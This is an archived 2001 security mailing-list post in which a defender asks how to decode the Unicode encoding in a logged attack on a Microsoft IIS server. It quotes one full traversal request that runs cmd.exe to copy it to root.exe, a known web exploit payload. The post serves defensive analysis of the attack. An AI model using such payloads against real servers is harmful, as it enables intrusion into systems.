Unicode Decode

From: jason (jpotopaat_private)
Date: Mon Jun 25 2001 - 10:38:19 PDT

Next message: Jason R. Seats: "strange packets"

Previous message: Jeremy Sanders: "Re: hacked box research"
In reply to: Alfred Huger: "ARIS extractor 1.01 Beta 6 now supports Dragon IDS (fwd)"
Next in thread: Roelof: "Re: Unicode Decode"
Reply: Roelof: "Re: Unicode Decode"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Does anyone know of any sites/tools/tables to decode unicode
information?  Specificly I am looking to decode the unicode portion
of this attack:

GET
/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/sytem32/cmd.exe
?/c+copy+\winnt\system32\cmd.exe +root.exe HTTP/1.0

Obviously he is trying to copy cmd.exe to /msadc/root.exe, but I do
not know how to interpret the unicode stuff.  Thanks in advance

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBOzd3ClL3u0OElmjPEQLyWgCfTM0mvmVcZpgQjOZwHSaddHGxgUAAoIrU
v3cHdcY94clFmG92/O4ojvpd
=gtF9
-----END PGP SIGNATURE-----

Next message: Jason R. Seats: "strange packets"
Previous message: Jeremy Sanders: "Re: hacked box research"
In reply to: Alfred Huger: "ARIS extractor 1.01 Beta 6 now supports Dragon IDS (fwd)"
Next in thread: Roelof: "Re: Unicode Decode"
Reply: Roelof: "Re: Unicode Decode"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Mon Jun 25 2001 - 12:43:35 PDT